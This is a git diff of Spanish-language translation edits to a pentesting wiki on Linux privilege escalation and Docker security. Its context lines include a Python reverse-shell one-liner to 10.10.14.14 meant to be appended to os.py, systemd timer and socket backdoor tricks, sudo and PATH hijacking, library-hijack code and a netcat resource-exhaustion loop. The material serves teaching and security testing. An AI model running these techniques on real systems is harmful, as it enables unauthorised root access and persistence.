"^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Script de GDB +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -266,7 +266,7 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Herramientas -Para volcar la memoria de un proceso, podrías usar: +Para volcar la memoria de un proceso, puedes usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece @@ -297,7 +297,7 @@ La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github. | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Conexiones FTP Activas) | vsftpd | | Apache2 (Sesiones Activas de Autenticación HTTP Básica) | apache2 | -| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: | +| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -344,11 +344,12 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys Lee la siguiente página para más trucos de explotación de comodines: + {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Sobrescritura de script de cron y symlink +### Sobrescritura de script de Cron y symlink Si **puedes modificar un script de cron** ejecutado por root, puedes obtener un shell muy fácilmente: ```bash @@ -405,7 +406,7 @@ Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del bin ## **Temporizadores** -Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona. +Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos de `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona. Puedes enumerar todos los temporizadores con: ```bash @@ -417,9 +418,9 @@ Si puedes modificar un temporizador, puedes hacer que ejecute algunas instancias ```bash Unit=backdoor.service ``` -En la documentación puedes leer qué es la Unidad: +En la documentación puedes leer qué es la unidad: -> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor predeterminado es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan nombres idénticos, excepto por el sufijo. +> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor predeterminado es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan el mismo nombre, excepto por el sufijo. Por lo tanto, para abusar de este permiso necesitarías: @@ -435,7 +436,7 @@ Para habilitar un temporizador necesitas privilegios de root y ejecutar: sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note que el **temporizador** se **activa** creando un symlink a él en `/etc/systemd/system/.wants/.timer` +Note que el **temporizador** está **activado** al crear un symlink a él en `/etc/systemd/system/.wants/.timer` ## Sockets @@ -453,8 +454,8 @@ Los sockets se pueden configurar utilizando archivos `.socket`. ### Archivos .socket escribibles -Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y la puerta trasera se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\ -_Ten en cuenta que el sistema debe estar utilizando esa configuración de archivo de socket o la puerta trasera no se ejecutará_ +Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\ +_Ten en cuenta que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_ ### Sockets escribibles @@ -475,6 +476,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of ``` **Ejemplo de explotación:** + {{#ref}} socket-command-injection.md {{#endref}} @@ -564,11 +566,11 @@ runc-privilege-escalation.md D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado con el sistema Linux moderno en mente, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. -El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Además, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. +El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. -D-Bus opera bajo un **modelo de permitir/denegar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política coincidentes. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos. +D-Bus opera bajo un **modelo de permitir/negar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos. -Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`. +Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`. Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas de contexto "predeterminadas" se aplican a todos los que no están cubiertos por otras políticas específicas. ```xml @@ -581,13 +583,14 @@ Las políticas sin un usuario o grupo especificado se aplican universalmente, mi ``` **Aprende a enumerar y explotar una comunicación D-Bus aquí:** + {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} ## **Red** -Siempre es interesante enumerar la red y determinar la posición de la máquina. +Siempre es interesante enumerar la red y averiguar la posición de la máquina. ### Enumeración genérica ```bash @@ -621,7 +624,7 @@ Siempre verifica los servicios de red que se están ejecutando en la máquina co ``` ### Sniffing -Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de obtener algunas credenciales. +Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de capturar algunas credenciales. ``` timeout 1 tcpdump ``` @@ -660,6 +663,7 @@ Algunas versiones de Linux fueron afectadas por un error que permite a los usuar Verifica si eres **miembro de algún grupo** que podría otorgarte privilegios de root: + {{#ref}} interesting-groups-linux-pe/ {{#endref}} @@ -683,7 +687,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Conocidas contraseñas -Si **conoces alguna contraseña** del entorno, **intenta iniciar sesión como cada usuario** usando la contraseña. +Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña. ### Su Brute @@ -694,7 +698,7 @@ Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presen ### $PATH -Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH**, podrías ser capaz de escalar privilegios **creando una puerta trasera dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se carga desde una carpeta que esté ubicada antes** de tu carpeta escribible en $PATH. +Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios **creando una puerta trasera dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se carga desde una carpeta que esté ubicada antes** de tu carpeta escribible en $PATH. ### SUDO y SUID @@ -714,13 +718,13 @@ less>! ``` ### NOPASSWD -La configuración de Sudo puede permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña. +La configuración de Sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -En este ejemplo, el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell al agregar una clave ssh en el directorio raíz o al llamar a `sh`. +En este ejemplo, el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell añadiendo una clave ssh en el directorio raíz o llamando a `sh`. ``` sudo vim -c '!sh' ``` @@ -763,13 +767,13 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a este (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**. +Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a él (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**. [Ejemplos de payloads para ejecutar.](payloads-to-execute.md) ### Binario SUID con ruta de comando -Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** nombrada como el comando que el archivo suid está llamando. +Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** llamada como el comando que el archivo suid está llamando. Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla: ```bash @@ -782,7 +786,7 @@ Entonces, cuando llamas al binario suid, esta función se ejecutará La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca. -Sin embargo, para mantener la seguridad del sistema y prevenir que esta característica sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones: +Sin embargo, para mantener la seguridad del sistema y prevenir que esta función sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones: - El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_). - Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid. @@ -871,7 +875,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ahora que hemos encontrado un binario SUID que carga una biblioteca desde una carpeta donde podemos escribir, creemos la biblioteca en esa carpeta con el nombre necesario: +Ahora que hemos encontrado un binario SUID que carga una biblioteca desde una carpeta donde podemos escribir, vamos a crear la biblioteca en esa carpeta con el nombre necesario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -901,10 +905,12 @@ El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abu > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} + {{#ref}} https://gtfoargs.github.io/ {{#endref}} @@ -954,7 +960,7 @@ Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y t ### /etc/sudoers, /etc/sudoers.d El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran quién puede usar `sudo` y cómo. Estos archivos **por defecto solo pueden ser leídos por el usuario root y el grupo root**.\ -**Si** puedes **leer** este archivo, podrías **obtener información interesante**, y si puedes **escribir** en cualquier archivo, podrás **escalar privilegios**. +**Si** puedes **leer** este archivo, podrías ser capaz de **obtener información interesante**, y si puedes **escribir** cualquier archivo, podrás **escalar privilegios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1009,6 +1015,7 @@ Eso significa que se leerán los archivos de configuración de `/etc/ld.so.conf. Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta dentro del archivo de configuración en `/etc/ld.so.conf.d/*.conf`, puede ser capaz de escalar privilegios.\ Echa un vistazo a **cómo explotar esta mala configuración** en la siguiente página: + {{#ref}} ld.so.conf-example.md {{#endref}} @@ -1078,7 +1085,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Abrir sesiones de shell En **versiones antiguas** puedes **secuestrar** algunas sesiones de **shell** de un usuario diferente (**root**).\ -En **versiones más recientes** solo podrás **conectarte** a las sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. +En **versiones más recientes** solo podrás **conectarte** a sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. ### Secuestro de sesiones de pantalla @@ -1136,10 +1143,10 @@ Este error se produce al crear una nueva clave ssh en esos sistemas operativos, Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado es `no`. Valores posibles: -- `yes`: el root puede iniciar sesión usando contraseña y clave privada -- `without-password` o `prohibit-password`: el root solo puede iniciar sesión con una clave privada -- `forced-commands-only`: el root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos -- `no`: no +- `yes`: root puede iniciar sesión usando contraseña y clave privada +- `without-password` o `prohibit-password`: root solo puede iniciar sesión con una clave privada +- `forced-commands-only`: Root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos +- `no` : no ### AuthorizedKeysFile @@ -1151,7 +1158,7 @@ Esa configuración indicará que si intentas iniciar sesión con la **clave priv ### ForwardAgent/AllowAgentForwarding -El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**. +El reenvío de agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**. Necesitas establecer esta opción en `$HOME/.ssh.config` así: ``` @@ -1160,7 +1167,7 @@ ForwardAgent yes ``` Nota que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las claves (lo cual es un problema de seguridad). -El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\ +El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\ El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (el valor predeterminado es permitir). Si encuentras que el Forward Agent está configurado en un entorno, lee la siguiente página ya que **puedes abusar de ello para escalar privilegios**: @@ -1177,11 +1184,11 @@ El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts qu ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si se encuentra algún script de perfil extraño, debe revisarlo en busca de **detalles sensibles**. +Si se encuentra algún script de perfil extraño, debes revisarlo en busca de **detalles sensibles**. ### Archivos Passwd/Shadow -Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puede leer** los archivos para ver **si hay hashes** dentro de los archivos: +Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puedes leer** los archivos para ver **si hay hashes** dentro de los archivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1221,7 +1228,7 @@ Deberías verificar si puedes **escribir en algunos archivos sensibles**. Por ej find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Por ejemplo, si la máquina está ejecutando un **servidor tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas: +Por ejemplo, si la máquina está ejecutando un **tomcat** server y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas: ``` ExecStart=/path/to/backdoor User=root @@ -1321,7 +1328,7 @@ No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes r Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py). -Para **poner un backdoor en la biblioteca**, simplemente agrega al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO): +Para **poner un backdoor en la biblioteca**, simplemente añade al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` @@ -1356,9 +1363,9 @@ DEVICE=eth0 ``` ### **init, init.d, systemd y rc.d** -El directorio `/etc/init.d` es el hogar de **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart` y a veces `reload` servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos encontrados en `/etc/rc?.d/`. Un camino alternativo en sistemas Redhat es `/etc/rc.d/init.d`. +El directorio `/etc/init.d` es el hogar de **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `iniciar`, `detener`, `reiniciar` y a veces `recargar` servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos encontrados en `/etc/rc?.d/`. Un camino alternativo en sistemas Redhat es `/etc/rc.d/init.d`. -Por otro lado, `/etc/init` está asociado con **Upstart**, un **sistema de gestión de servicios** más nuevo introducido por Ubuntu, que utiliza archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. +Por otro lado, `/etc/init` está asociado con **Upstart**, una **gestión de servicios** más nueva introducida por Ubuntu, utilizando archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. **systemd** surge como un moderno gestor de inicialización y servicios, ofreciendo características avanzadas como el inicio de demonios bajo demanda, gestión de automontaje y instantáneas del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones de administradores, agilizando el proceso de administración del sistema. @@ -1366,11 +1373,13 @@ Por otro lado, `/etc/init` está asociado con **Upstart**, un **sistema de gesti ### Escalación de privilegios NFS + {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escapando de Shells restringidos +### Escape de Shells restringidos + {{#ref}} escaping-from-limited-bash.md @@ -1378,6 +1387,7 @@ escaping-from-limited-bash.md ### Cisco - vmanage + {{#ref}} cisco-vmanage.md {{#endref}} @@ -1426,10 +1436,12 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) + ## Marcos de rooting de Android: abuso de canal de administrador Los marcos de rooting de Android comúnmente enganchan una syscall para exponer la funcionalidad privilegiada del kernel a un administrador de espacio de usuario. La autenticación débil del administrador (por ejemplo, verificaciones de firma basadas en el orden de FD o esquemas de contraseña deficientes) puede permitir que una aplicación local se haga pasar por el administrador y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí: + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 96e1d8b92..9ed2613a0 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -37,6 +37,7 @@ ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu b ``` Luego puedes usar algunas de las técnicas mencionadas en la siguiente página para **escapar de ella abusando de capacidades privilegiadas**: + {{#ref}} docker-security/ {{#endref}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 1331290ed..0d7455bf5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -74,9 +74,9 @@ La firma de imágenes de Docker garantiza la seguridad e integridad de las imág - **Docker Content Trust** utiliza el proyecto Notary, basado en The Update Framework (TUF), para gestionar la firma de imágenes. Para más información, consulta [Notary](https://github.com/docker/notary) y [TUF](https://theupdateframework.github.io). - Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada por defecto en Docker versión 1.10 y posteriores. -- Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de contraseña para las claves raíz y de etiquetado, con Docker también soportando Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de paso para las claves raíz y de etiquetado, y Docker también admite Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error "No trust data for latest". -- Para los envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen. +- Para los envíos de imágenes posteriores al primero, Docker solicita la frase de paso de la clave del repositorio para firmar la imagen. Para respaldar tus claves privadas, utiliza el comando: ```bash @@ -117,7 +117,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** Está habilitado por defecto en Docker. Ayuda a **limitar aún más las syscalls** que el proceso puede llamar.\ -El **perfil Seccomp por defecto de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +El **perfil de Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** @@ -141,6 +141,7 @@ Docker utiliza los siguientes Namespaces del núcleo de Linux para lograr la ais Para **más información sobre los namespaces** consulta la siguiente página: + {{#ref}} namespaces/ {{#endref}} @@ -148,7 +149,7 @@ namespaces/ ### cgroups La característica del núcleo de Linux **cgroups** proporciona la capacidad de **restringir recursos como cpu, memoria, io, ancho de banda de red entre** un conjunto de procesos. Docker permite crear Contenedores utilizando la característica cgroup que permite el control de recursos para el Contenedor específico.\ -A continuación se muestra un Contenedor creado con memoria de espacio de usuario limitada a 500m, memoria del núcleo limitada a 50m, participación de cpu a 512, blkioweight a 400. La participación de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma participación de CPU de 1024, cada Contenedor puede utilizar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla el IO del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000. +A continuación se muestra un Contenedor creado con espacio de memoria de usuario limitado a 500m, memoria del núcleo limitada a 50m, participación de cpu a 512, blkioweight a 400. La participación de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma participación de CPU de 1024, cada Contenedor puede utilizar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla el IO del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -166,9 +167,9 @@ cgroups.md ### Capacidades -Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la función de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario. +Las capacidades permiten un **control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la característica de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario. -Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no podrá realizar acciones sensibles y escapar: +Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no pueda realizar acciones sensibles y escapar: {{#ref}} ../linux-capabilities.md @@ -194,9 +195,9 @@ apparmor.md - **Sistema de Etiquetado**: SELinux asigna una etiqueta única a cada proceso y objeto del sistema de archivos. - **Aplicación de Políticas**: Aplica políticas de seguridad que definen qué acciones puede realizar una etiqueta de proceso sobre otras etiquetas dentro del sistema. -- **Etiquetas de Proceso de Contenedor**: Cuando los motores de contenedores inician procesos de contenedor, generalmente se les asigna una etiqueta SELinux confinada, comúnmente `container_t`. +- **Etiquetas de Procesos de Contenedor**: Cuando los motores de contenedor inician procesos de contenedor, generalmente se les asigna una etiqueta SELinux confinada, comúnmente `container_t`. - **Etiquetado de Archivos dentro de Contenedores**: Los archivos dentro del contenedor suelen estar etiquetados como `container_file_t`. -- **Reglas de Política**: La política de SELinux asegura principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`. +- **Reglas de Políticas**: La política de SELinux asegura principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`. Este mecanismo asegura que incluso si un proceso dentro de un contenedor se ve comprometido, está confinado a interactuar solo con objetos que tienen las etiquetas correspondientes, limitando significativamente el daño potencial de tales compromisos. @@ -233,7 +234,7 @@ docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` -## Banderas de Docker Interesantes +## Banderas interesantes de Docker ### Banderas --privileged @@ -274,7 +275,7 @@ Para más opciones de **`--security-opt`** consulta: [https://docs.docker.com/en ### Gestión de Secretos: Mejores Prácticas -Es crucial evitar incrustar secretos directamente en las imágenes de Docker o usar variables de entorno, ya que estos métodos exponen tu información sensible a cualquiera con acceso al contenedor a través de comandos como `docker inspect` o `exec`. +Es crucial evitar incrustar secretos directamente en las imágenes de Docker o usar variables de entorno, ya que estos métodos exponen tu información sensible a cualquiera que tenga acceso al contenedor a través de comandos como `docker inspect` o `exec`. **Los volúmenes de Docker** son una alternativa más segura, recomendada para acceder a información sensible. Pueden ser utilizados como un sistema de archivos temporal en memoria, mitigando los riesgos asociados con `docker inspect` y el registro. Sin embargo, los usuarios root y aquellos con acceso `exec` al contenedor aún podrían acceder a los secretos. @@ -317,32 +318,32 @@ https://github.com/google/gvisor ### Kata Containers -**Kata Containers** es una comunidad de código abierto que trabaja para construir un runtime de contenedores seguro con máquinas virtuales ligeras que se sienten y rinden como contenedores, pero que proporcionan **un aislamiento de carga de trabajo más fuerte utilizando tecnología de virtualización de hardware** como una segunda capa de defensa. +**Kata Containers** es una comunidad de código abierto que trabaja para construir un runtime de contenedores seguro con máquinas virtuales ligeras que se sienten y funcionan como contenedores, pero que proporcionan **un aislamiento de carga de trabajo más fuerte utilizando tecnología de virtualización de hardware** como una segunda capa de defensa. {{#ref}} https://katacontainers.io/ {{#endref}} -### Resumen de Consejos +### Consejos Resumidos - **No utilice la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por 